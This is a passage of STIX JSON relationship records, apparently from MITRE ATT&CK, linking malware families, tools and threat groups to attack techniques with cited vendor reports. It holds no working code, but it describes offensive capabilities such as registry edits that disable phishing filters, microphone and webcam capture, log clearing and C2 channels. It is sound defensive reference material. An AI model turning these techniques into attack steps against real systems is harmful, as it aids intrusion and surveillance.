            "id": "relationship--27729570-1933-4e9e-b916-7da56de33d40",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses FTP for command and control.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.702Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7a8a36ee-66f8-42ca-abeb-29e6223b91ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim computer name and encrypts the information to send over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-21T00:07:11.926Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--35f3fba0-7deb-4436-87a2-503c96f69342",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.(Citation: Microsoft SDelete July 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft SDelete July 2016",
                    "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
                }
            ],
            "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T00:37:08.768Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can create a new service to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)",
            "id": "relationship--a9a71970-33d1-4336-acb3-9252b91d27a4",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-03-29T19:49:11.281Z",
            "created": "2019-01-29T14:51:06.742Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) modifies several Registry keys under <code>HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\</code> to disable phishing filters.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--a9a0ecce-239c-4666-94e9-ef1fb64cf796",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.215Z",
            "created": "2019-01-29T17:59:44.529Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "id": "relationship--2fc8879c-1763-4ed0-b1d8-67b4c3d49ed9",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-12-17T16:56:47.428Z",
            "created": "2019-01-29T18:44:04.968Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--66f2f7b3-3df9-4d4a-bedc-ecacac3039e8",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.102Z",
            "created": "2019-01-29T18:55:20.853Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can listen in to victims' conversations through the system\u2019s microphone.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--b9f6e673-8c15-465e-9ef0-2bcc8efc586e",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.669Z",
            "created": "2019-01-29T19:18:28.640Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                },
                {
                    "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
                    "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.",
                    "source_name": "GovCERT Carbon May 2016"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) can collect the IP address of the victims and other computers on the network using the commands: <code>ipconfig -all</code> <code>nbtstat -n</code>, and <code>nbtstat -s</code>.(Citation: ESET Carbon Mar 2017)(Citation: GovCERT Carbon May 2016)",
            "id": "relationship--45f5f01e-cfdd-4212-8bd6-0c1b0c82a0a2",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2021-04-25T15:45:04.902Z",
            "created": "2019-01-29T19:36:02.743Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) creates a base directory that contains the files and folders that are collected.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--487cc105-dd80-4b43-94ae-da23517aab6f",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:38:05.594Z",
            "created": "2019-01-29T19:36:02.847Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) gathers information on local group names.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--bc5b2681-d0e9-4ef5-9a90-56358ea34d96",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T20:10:13.800Z",
            "created": "2019-01-29T19:55:48.163Z"
        },
        {
            "id": "relationship--9267fe42-6290-4342-8024-38d703db4376",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to upload files to the C2 Server.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.020Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NorthSec 2015 GData Uroburos Tools",
                    "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.",
                    "url": "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-12-09T23:26:09.059Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9155d072-d94b-4a63-b089-26781aff5275",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "relationship_type": "uses",
            "target_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "source_name": "Scarlet Mimic Jan 2016"
                }
            ],
            "description": "(Citation: Scarlet Mimic Jan 2016)",
            "type": "relationship",
            "modified": "2019-04-22T15:06:12.716Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--041e8f9b-6cdb-44b3-aa37-a274a4de9a0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the MAC address, computer name, and CPU information.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.305Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c887c671-d467-45a1-952b-8fd20cd77ec1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to clear event logs.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.596Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5f0a56f1-f9ef-41c5-a994-fcf499a02b90",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can open a command line interface.(Citation: Symantec Wiarp May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Wiarp May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"
                }
            ],
            "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:52:07.317Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) gathers the IP address from the victim\u2019s machine.(Citation: DigiTrust NanoCore Jan 2017)",
            "id": "relationship--14fe92e6-9a5e-4116-8316-e52f6270b02c",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.990Z",
            "created": "2019-01-29T20:05:36.563Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a utility called CLOSESHAVE that can securely delete a file from the system.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--161225df-de21-4715-b4f3-c324c05ff590",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.366Z",
            "created": "2019-01-29T21:27:25.235Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects the OS system, OS version, MAC address, and the computer name from the victim\u2019s machine.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--520faa7e-f529-4b54-b4dc-55d6ae094717",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.913Z",
            "created": "2019-01-29T21:33:34.664Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--17bee216-d5ff-4e66-b221-0129be41b4f5",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-04-23T21:09:54.753Z",
            "created": "2019-01-29T21:40:37.812Z"
        },
        {
            "id": "relationship--c5087d19-7d99-4106-9dc7-407c7de710be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.257Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the host IP address from the victim\u2019s machine.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--6b184c8f-99d6-4af2-8c01-34fc5d6d89e3",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:00:35.699Z",
            "created": "2019-01-30T13:24:09.060Z"
        },
        {
            "id": "relationship--2a32c434-c3ef-42ee-a0b6-c64c589355c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-MicrophoneAudio</code> Exfiltration module can record system microphone audio.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.261Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses cmd.exe to execute itself in-memory.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--9da5f1e4-2039-4c6a-8800-2c9277092d7c",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:28:34.478Z",
            "created": "2019-01-30T13:53:14.927Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--6dbac0dd-ebd3-49dc-bbef-d5a7fd464e02",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.557Z",
            "created": "2019-01-30T15:19:14.965Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
